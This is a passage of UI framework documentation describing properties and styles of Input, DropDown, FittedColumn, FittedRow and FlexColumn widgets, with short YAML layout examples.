widget. This property can be defined in the theme to apply to all Input widgets. | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | - -#### options for styles.variant - -| Option | Description | -| :-------- | :------------------------------------------------------------------------------------------------------------------- | -| box | draw a Box border around this input widget. This property can be defined in the theme to apply to all Input widgets. | -| underline | draw an Underline below this input widget. This property can be defined in the theme to apply to all Input widgets. | - ---- - - -# Divider - -The Divider Widget is a simple, horizontal or vertical line that separates content visually within your application's layout. It is primarily used to create a clear distinction between different sections or components, improving the overall readability and organization of the interface. Common use cases include separating items in lists, forms, or between groups of content in both web and mobile applications. - -Below is a preview of the Divider in action: - ---- - -# DropDown widget - -The DropDown Widget enables the rendering of dropdown menus, providing users with a selectable list of options within your application for intuitive and efficient data selection. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fb8d28a2-834e-40a9-8419-155272fb0191) - -## Properties - -| Property | Type | Description | -|:-------------|:-----------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| labelStyle | [TextStyle](#TextStyle) | Styling for the label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| value | string | Specifying the value of your Text Input | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| itemTemplate | [ItemTemplate](#ItemTemplate) | Use this to iterate through a data array and render each dropdown item, as well as specify the selected item's value | - -### ItemTemplate -| Property | Type | Description | -|:---------|:--------|:--------------------------------------------------------------------------------------------------------------------------------------| -| data | array | Specify an array of data (or an expression that resolves to an array).
The system will iterate through each item in this array | -| name | string | As the system iterate through the data, you can reference each item's data using this name | -| template | Widget | The widget to be rendered for each dropdown item in the data array. The widget can reference the data using the name specified above. | -| value | string | Specify the expression to evaluate as each item's value. This will be the value when a dropdown item is selected. | - -## Styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| textStyle | [TextStyle](#TextStyle) | Styling for the selected text | -| dropdownBackgroundColor | integer or string | Sets the background color of the panel with the list of options that appears when the dropdown is open, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| dropdownOffsetX | integer | X-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownOffsetY | integer | Y-axis offset from the dropdown field of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownBorderRadius | integer | Border radius of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownBorderColor | integer or string | Border color of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownBorderWidth | integer | Border width of the panel with the list of options that appears when the dropdown or autocomplete is open | -| dropdownMaxHeight | integer | Maximum height of the panel with the list of options that appears when the dropdown or autocomplete is open | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - ---- - -# FittedColumn (deprecated) -This widget is deprecated. Please use [FlexColumn](/pages/widgets/flex-column.md) instead. - -Stretch to fit the parent (the parent is required to have a predetermined height), then distribute the vertical spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/hRFxxoaBePQaLfmoBiIb) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------- | -| children | array | List of widgets | -| onTap | action | Call Ensemble's built-in functions or execute code | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | -| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | -| gap | integer | The gap between the children in the main direction | -| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# FittedRow (deprecated) -This widget is deprecated. Please use [FlexRow](/pages/widgets/flex-row.md) instead. - -Stretch to fit the parent (the parent is required to have a predetermined width), then distribute the horizontal spaces evenly among its children. You can override the space distribution via 'childrenFits' attribute. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fvSONumk7npuTDmIWwis) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------- | -| children | array | List of widgets | -| onTap | action | Call Ensemble's built-in functions or execute code | -| styles | object | [See properties](#styles) | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| childrenFits | array | Specify array of numbers to set how space is distributed among the children. Use `auto` instead of a number in order to have the child widget determin its own width. | -| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string or Object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | -| gap | integer | The gap between the children in the main direction | -| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| childrenFits | array | Specify an array of non-zero integers or `auto`, each corresponding to a child. Setting `auto` will let the child determines its own size, while setting a non-zero integer will determine the child's size multiple. The `auto` children will be laid out first and get as much space as they need, then the left-over space will be distributed to the other children based on their size multiples. Otherwise default is 1, After laying out the `auto` children, the left-over space will be divided up based on this multiple. | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# FlexColumn - -FlexColumn is designed to lay out child widgets vertically and proportionally from the available space given by its parent. By default, FlexColumn assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. - -## Best Practices -- Use FlexColumn when you need a vertical layout with proportional space distribution among the children. -- **Avoid** using FlexColumn in a scrollable parent, such as a ListView or a scrollable Column, without a fixed height, as it will lead to layout issues. FlexColumn and its children need to be constrained to a definite size to properly calculate the flex distribution. -- **Avoid** using FlexColumn in another Column. Column does not constrain its children's dimensions, which FlexColumn requires to calculate the flex distribution. Instead consider giving the FlexColumn a height or use all FlexColumn(s) up the parent chain. - -## Key Concepts - -- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexColumn have a flex value of 1 unless specified. -- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. - - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). - - `flexible`: The child occupies only the space it needs, up to its flex factor. - - `none`: The child occupies the space it needs (flex factor is ignored). -- When laying out its children, `FlexColumn` follows this specific order: - - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). - - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. - - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. - -## Caveats -- **FlexColumn width**: Note that setting a width for a FlexColumn acts more like a maximum width constraint. The FlexColumn determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. - If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. - - -## Usage - -A simple FlexColumn with three child widgets, each taking up equal space (all have flex=1 by default): - -```yaml -FlexColumn: - children: - - Text: - text: Child 1 - - Text: - text: Child 2 - - Text: - text: Child 3 -``` - -Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": - -```yaml -FlexColumn: - children: - - Text: - text: Child 1 # default flex=1 since not specified - - Text: - text: Child 2 - styles: - flex: 2 - - Text: - text: Child 3 - styles: - flex: 1 -``` - -Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): - -```yaml -FlexColumn: - children: - - Text: - text: Flexible Child - styles: - flexMode: flexible - - Text: - text: Expanded Child - styles: - flex: 2 - flexMode: expanded - -``` - -## Related -- See [FlexRow](#flexrow) for a similar layout in the horizontal direction. -- See [Column](#column-widget) for a more generic and scrollable container for laying out children vertically. - -## Reference -#### Properties - -| Property | Type | Description | -|----------------------------------|----------------------------------------|----------------------------------------------------------| -| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | -| onTap | Action | An action that is triggered when the widget is tapped. | -| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | -| styles | object | [See properties](#styles) | - -#### Styles - -| Style Property | Type | Description | -|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| -| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | -| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | -| mainAxisSize | MainAxisSize | How to size the container along the main axis. | -| gap | integer | The gap between child widgets, in logical pixels. | -| fontFamily | string | The font family to use for text within the widget. | -| fontSize | integer | The size of the font to use for text within the widget. | -| width | integer | The width of the widget, in logical pixels. | -| height | integer | The height of the widget, in logical pixels. | -| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | -| boxShadow | BoxShadow | Shadow properties for the widget. | -| borderRadius | BorderRadius | The radius of the widget's corners. | -| borderColor | [Color](#Color) | The color of the widget's border. | -| borderWidth | integer | The width of the widget's border, in logical pixels. | -| backgroundColor | [Color](#Color) | The widget's background color. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| padding | Padding | Padding inside the widget, affecting its child widgets. | -| margin | Margin | Margin outside the widget, affecting its position relative to others. | -| flex | integer | Applicable only inside 